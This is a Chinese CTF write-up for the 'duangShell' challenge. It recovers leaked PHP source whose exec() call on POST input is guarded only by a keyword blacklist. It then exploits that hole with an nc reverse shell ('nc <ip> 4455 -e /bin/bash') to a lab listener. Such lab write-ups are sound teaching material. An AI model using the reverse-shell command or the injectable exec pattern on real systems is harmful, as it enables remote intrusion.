[BJDCTF 2nd]duangShell

知识点:

  • nc命令反弹shell

在这里插入图片描述

题目提示源码泄露,访问/.index.php.swp下载并修复源码

linux下对swp的修复命令
vim -r .index.php.swp
<?php

error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
    die("where is P3rh4ps's girl friend ???");
}
else 
    {    $girl = $_POST['girl_friend'];
    if (preg_match('/\>|\\\/', $girl))
        die('just girl');
    else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) 
    { 
        echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";    
    } 
    else {   exec($girl);        //duangShell~~~~    
    } 
}
?>

在buu新建一个小号,打开Basic Labs下的一台靶机,用于监听
监听命令
攻击机

nc -lvvp 4455

靶机上执行

nc 174.1.70.57 4455 -e /bin/bash

在这里插入图片描述

连接成功


在这里插入图片描述

最后找flag即可
在根目录下使用命令

find -name flag

find命令会比较慢,耐心等等就能找到了

猜你喜欢

转载自www.cnblogs.com/mech/p/12891912.html